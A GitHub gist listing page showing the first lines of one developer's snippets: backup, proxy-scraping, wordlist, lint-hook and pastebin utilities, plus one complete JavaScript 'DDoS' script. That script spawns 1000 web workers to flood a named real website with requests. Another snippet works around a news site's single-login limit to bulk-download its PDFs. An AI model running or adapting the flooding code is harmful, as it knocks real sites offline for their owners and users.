Skip to content

Instantly share code, notes, and snippets.

@starenka
starenka / dos_ww_cor.js
Created December 19, 2010 20:05
JS DDoS (webworkers)
var blob = new BlobBuilder(); //BlobBuilder allows creating Web Workers from inline code instead of using external files
blob.append("onmessage = function(e) { c = new XMLHttpRequest(); c.open('GET','http://www.kdomedneskastve.cz',true); c.send(); }");
var blob_url = window.createObjectURL(blob.getBlob()); //get blob url in order to start it
for(i=0;i<1000;i++) // let's roll
{
var worker = new Worker(blob_url);
worker.onmessage = function(e) { };
worker.postMessage();
}
#!/usr/bin/env bash
TAR_MAC="00:1f:d0:**:**:**"
TAR_HOST="bedna"
TAR_USER="starenka"
MAX_BW=400 #KB/s
MAX_TRIES=5
INTERVAL_TRIES=30
DIALOG_TITLE="--display :0 --title Backup"
DIRS=('/photo' '/www' '/prac' '/home/starenka/.scripts' '/home/starenka/bin' '/mail' '/home/starenka/.opera' '/home/starenka/jobs' '/home/starenka/.purple '
@starenka
starenka / proxy_leech.py
Created December 21, 2010 00:37
get proxies
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# quick & dirty nntime proxy leech
#
# @author: starenka
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1]
# @version: 1.0
# @since Dec 22, 2010
@starenka
starenka / norespekt.py
Created December 21, 2010 19:17
Respekt - PDF links extraction
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Pulls out links to PDFs from Respekt user section.
# *As the site allows only one logged in user at once,
# you need to logout in your browser in order to use this script.
# usage:
# $ ./norespekt.py > respekt_links
# $ cat respekt_links | xargs -P 10 -r -n 1 wget -nv
#
@starenka
starenka / bzr_precommit_lint.py
Created December 22, 2010 10:26
bzr hooks (py, rb, php syntax check)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# this is a plugin/hook for bazaar. just add this file to ~/.bazaar/plugins/precommit"""
#
# @author: starenka
# @email: starenka0[at]gmail[dot]com
# @version: 1.1
# @since Feb 28, 2010
@starenka
starenka / openpyster.py
Created January 1, 2011 09:15
openpaste.org wrapper
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# openpaste.org wrapper
#
# reads from stdin and copies uri to klipper by default
#
# @author: starenka
# @email: admin[at]starenka[dot]net
# @version: 1.1
@starenka
starenka / wg.py
Created January 1, 2011 14:36
wordlist generator
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# simple wl generator
#
# @author: starenka
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1]
# @version: 1.0
# @since 1/1/11
# @requires python 2.6
@starenka
starenka / shell-fu.py
Created January 15, 2011 12:03
shellfu - one liner dbase
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# simple shell-fu database
#
# @author: starenka
# @email: 'moc]tod[liamg].T.E[0aknerats'[::-1]
# @version: 1.3
# @since 1/14/11
# @depends sqlalchemy
@starenka
starenka / openpyster.py
Created January 16, 2011 16:28
openpaste.org wrapper
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# openpaste.org wrapper
#
# reads from stdin and copies uri to klipper by default
#
# @author: starenka
# @email: admin[at]starenka[dot]net
# @version: 1.1
@starenka
starenka / extrafx.js
Created January 16, 2011 16:29
BlindRight & Left for scriptaculous
/**
* @author starenka
*/
Effect.BlindRight = function(element) {
element = $(element);
var elementDimensions = element.getDimensions();
return new Effect.Scale(element, 100, Object.extend({
scaleContent: false,
scaleY: false,
scaleFrom: 0,